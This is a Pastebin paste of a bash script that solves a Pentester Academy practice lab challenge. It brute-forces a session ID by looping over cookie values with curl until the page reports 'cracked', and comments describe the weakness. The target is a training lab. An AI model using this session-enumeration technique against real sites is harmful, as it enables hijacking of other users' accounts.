Advertisement
kaiux

Challenge #10 pentesteracademylab

Feb 14th, 2016
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.63 KB | None | 0 0
  1. # run as bash ./script
  2. # The challenge is about "Session ID", dont waste your time hacking around -I did :(
  3. # The issue is that the cookie 'sessionid' has random values and controls the authentication.
  4. # the size of the page is also the same.
  5. # It is a brute force SessionID attack.
  6. # Not easy Vivek ;)
  7. for I in $(seq -w 80 99) #if wanna see all ids, change 80 -> 1
  8. do
  9.     echo "--- sending id... $I"
  10.     curl --cookie "sessionid=10${I}" -s http://pentesteracademylab.appspot.com/lab/webapp/sid/2 | grep "cracked"
  11.     if [ $? -eq 0 ]; then
  12.         echo "Found it: 10$I"
  13.         break
  14.     fi
  15. done
  16.  
  17. # https://curl.haxx.se/docs/httpscripting.html#Cookie_Basics
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement